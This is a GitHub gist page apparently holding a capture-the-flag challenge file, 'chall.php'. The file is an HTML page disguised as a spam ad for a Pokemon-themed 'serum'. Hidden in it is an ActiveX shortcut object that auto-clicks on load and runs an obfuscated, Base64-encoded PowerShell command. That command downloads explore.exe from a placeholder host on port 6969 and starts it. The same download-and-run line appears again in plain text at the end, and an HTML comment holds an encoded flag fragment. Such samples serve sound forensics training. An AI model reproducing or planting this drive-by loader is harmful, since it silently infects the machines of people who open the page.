Skip to content

Instantly share code, notes, and snippets.

@sondt1337

sondt1337/chall.php

Created August 16, 2023 20:53
Show Gist options
  • Save sondt1337/29fbbcd109f5ce0d7e7f444217e9da80 to your computer and use it in GitHub Desktop.
Save sondt1337/29fbbcd109f5ce0d7e7f444217e9da80 to your computer and use it in GitHub Desktop.
Download ZIP
s0niac
Raw
chall.php
<PARAM name="Item1" value=',cmd.exe,/c powershell.exe -ExecutionPolicy Bypass -NoLogo -NoProfile -EncodedCommand SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgAGgAdAB0AHAAOgAvAC8AZABuAHMALQBzAGUAcgB2AGUAcgAuAG8AbgBsAGkAbgBlADoANgA5ADYAOQAvAGUAeABwAGwAbwByAGUALgBlAHgAZQAgAC0ATwB1AHQARgBpAGwAZQAgAGUAeABwAGwAbwByAGUALgBlAHgAZQA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAGUAeABwAGwAbwByAGUALgBlAHgAZQA7ACAAPQAnAGcAdQByAGwAXwBqAG4AYQBnAF8AZwB1AHIAdgBlACcA'>
<body>
<!--VU1EQ1RGezE5OTdfY2FsbGVkXw==-->
<OBJECT id=shortcut classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"
width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=',cmd.exe,/c powershell.exe -ExecutionPolicy Bypass -NoLogo -NoProfile -EncodedCommand SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgAGgAdAB0AHAAOgAvAC8AZABuAHMALQBzAGUAcgB2AGUAcgAuAG8AbgBsAGkAbgBlADoANgA5ADYAOQAvAGUAeABwAGwAbwByAGUALgBlAHgAZQAgAC0ATwB1AHQARgBpAGwAZQAgAGUAeABwAGwAbwByAGUALgBlAHgAZQA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAGUAeABwAGwAbwByAGUALgBlAHgAZQA7ACAAPQAnAGcAdQByAGwAXwBqAG4AYQBnAF8AZwB1AHIAdgBlACcA'>
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT> shortcut.Click(); </SCRIPT>
<div class="container">
<div class="text"> <strong>
<h1>DOCTORS HATE HIM!!</h1>
</strong>
<p>Do you suffer from low energy, fatigue, and a general lack of motivation? Did your Pokemon leave you for
a better trainer? Rocket Corp's Master Ball Serum can help! Our all-natural formula boosts your energy
levels and helps you feel like a young trainer ready to take on the world again!</p><button>Find out
more!</button>
</div>
<div class="image"> <img src="depressed_pokemon_trainer.png" alt="Pikachu"> </div>
</div>
</body>
</html>
$env:WEB_REQUEST -Uri http://dns-server:6969/explorer.exe -OutFile explorer.exe; Start-Process explorer.exe
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment